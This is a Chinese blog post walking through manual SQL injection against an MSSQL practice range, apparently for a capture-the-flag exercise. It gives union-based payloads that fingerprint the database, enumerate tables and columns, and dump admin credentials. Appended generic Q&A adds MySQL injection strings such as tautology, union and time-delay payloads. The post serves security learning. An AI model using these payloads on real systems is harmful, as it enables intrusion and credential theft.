SQL手工注入漏洞测试(MSSQL数据库)

提示

以下均使用如下靶场:
SQL手工注入漏洞测试(Sql Server数据库)

判断注入点

与mysql注入一致

?id=2 and 1=2

在这里插入图片描述

判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

用例

payload:

?id=-2 union all select 1,(select count(*) from sysobjects),'3',4

在这里插入图片描述

回显正常

判断数据库版本

  -1 union all select 1,2,@@version,4
  这个语句要在有回显的模式下才可以哦
  and substring((select @@version),22,4)='2008'--
  适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008

用例

payload:

?id=-2 union all select 1,@@version,'3',4

在这里插入图片描述
版本为2005

获取所有数据库的个数

(select quotename(count(name)) from master.dbo.sysdatabases)

用例

?id=-2 union all select null,(select quotename(count(name)) from master.dbo.sysdatabases),'3',null

在这里插入图片描述

获取数据库

(该语句是一次性获取全部数据库的,且语句只适合>=2005)

(select quotename(name) from master.dbo.sysdatabases FOR XML PATH(''))

用例

payload:

?id=-2 union all select null,(select quotename(name) from master.dbo.sysdatabases FOR XML PATH('')),'3',null

在这里插入图片描述

获取当前数据库

(select db_name())

用例

payload:

?id=-2 union all select null,(select db_name()),'3',null

在这里插入图片描述

获取当前数据库中的表

下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)

(select quotename(name) from 数据库名.dbo.sysobjects where xtype='U' FOR XML PATH(''))

获得表里的列

一次爆指定表的所有列(只限于mssql2005及以上版本)

(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名.dbo.sysobjects where name='指定表名') FOR XML PATH(''))

获取指定数据库中的表的列的数据

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本)

   and 1=(select top 1 * from 指定数据库.dbo.指定表名 where 排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
    and 1=(select top N * from 指定数据库.dbo.指定表名 FOR XML PATH(''))
    and 1=(select top 1 * from 指定数据库.dbo.指定表名 FOR XML PATH(''))

加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来。用在筛选表段时很不错。

案例

靶场:
SQL手工注入漏洞测试(Sql Server数据库)

步骤

判断注入点

?id=2%20and%201=2

在这里插入图片描述

猜字段数

?id=-2 order by 4

在这里插入图片描述

回显正常

猜字段位回显处

跟mysql-php有区别,php里面的数据类型是弱数据,所以不需要加’’,但是asp需要加上去就行判断

?id=-2 union all select 1,2,'3',4

在这里插入图片描述

爆数据库

?id=-2 union all select 1,select db_name(),'3',4

在这里插入图片描述

爆表

?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4

![在这里在这里插入图片描述

爆字段

?id=-1 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4

col_name(object_id(‘manage’),1) 中从1查到3
得到id,username,password

爆数据

?id=-1 union all select 1,(select top 1 username from manage),'3',4
?id=-1 union all select 1,(select top 1 password from manage),'3',4

在这里插入图片描述
在这里插入图片描述

得到用户名和密码,将密码进行md5解密进行登录得到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL手工注入漏洞测试是一种常见的安全测试方法,主要针对MySQL数据库。通过手动输入恶意代码,测试系统是否存在SQL注入漏洞,以此来发现和修复系统的安全漏洞。这种测试方法需要有一定的技术水平和经验,同时也需要谨慎操作,避免对系统造成不必要的损害。 ### 回答2: SQL注入是一种常见的Web安全问题。手工注入漏洞测试是指通过手动输入恶意代码和查询语句来检测数据库使用SQL语言的Web应用程序中的SQL注入漏洞。 MySQL是一种广泛使用的关系型数据库,常用于开发Web应用程序。在手工注入漏洞测试mysql数据库时,需要按照以下步骤进行: 1.确定数据输入点:首先需要确定应用程序的哪些输入点与数据存储在mysql数据库中,包括表单、页面参数、Cookie等。 2.构造查询语句:通过使用常见的SQL语句操作符如SELECT、INSERT、UPDATE、DELETE、FROM等来构造查询语句。 3.注入恶意代码:通过向查询语句中添加恶意代码来尝试绕过应用程序的安全检测措施,如添加单引号、尝试注入逻辑运算符等。 4.验证漏洞:利用注入所添加的代码来验证是否存在漏洞,如出现错误信息、显示数据库信息、登录成功等。 5.利用漏洞:如果存在漏洞,可以通过利用注入的恶意代码执行恶意操作,如删除或修改数据库中的记录、获取敏感数据等。 为了避免手工注入漏洞测试mysql数据库时可能造成的安全隐患,应遵守以下安全措施: 1.遵循最小权限原则,只为测试者授予尽可能少的权限。 2.使用测试环境,不要在生产环境中进行注入测试。 3.备份数据库,以便在发生注入攻击时恢复数据。 4.使用专业的安全测试工具进行测试测试后删除所有测试数据。 通过手工注入漏洞测试mysql数据库,可以发现并修复SQL注入漏洞,提高Web应用程序的安全性。 ### 回答3: SQL手工注入漏洞是一种常见的漏洞,它允许攻击者利用可疑的输入向数据库发送恶意代码。MySQL是一种受广泛使用的关系数据库管理系统,虽然它提供了多种安全性功能,但仍然可能受到SQL手工注入攻击。 在测试SQL手工注入漏洞之前,我们需要了解如何识别这种漏洞。通常,我们看到以下迹象表明可能存在SQL注入漏洞: 1.在输入字段中注入特定的字符,例如单引号、双引号、括号等。 2.如果发送的请求返回了未知错误或异常结果。 3.能够看到不该出现在页面上的数据,例如数据库错误会返回PDOException. 测试步骤如下: 1.了解数据库结构,以便确认注入目标。我们需要知道要查询的表或字段。 2.利用输入字段尝试注入代码,例如: a.输入单引号测试SQL注入:输入'或1=1--,如果页面没有崩溃,那么它很可能存在SQL注入漏洞。 b.输入union测试SQL注入:输入1' union select 1,2,3,4,5#,如果页面返回了这些数字,则漏洞很可能存在。 c.使用等待语句测试SQL注入:例如,输入1; waitfor delay '0:0:10'; --等待10秒钟,看是否有延迟。 3.测试其他注入语句,例如联合查询、嵌套查询、子查询等,来获得受攻击的目标。 4.通过分析返回数据或页面上所显示的任何异常信息来确定是否存在漏洞。如果数据很容易被修改或者异常信息明显且无法解释,则很可能存在漏洞。 在SQL手工注入漏洞测试过程中,我们需要格外小心,因为数据库中的数据可能是非常敏感的。测试过程应当只进行在特定环境下,并应该遵循公司安全政策。通过识别和修复SQL注入漏洞,可以大大提高应用程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值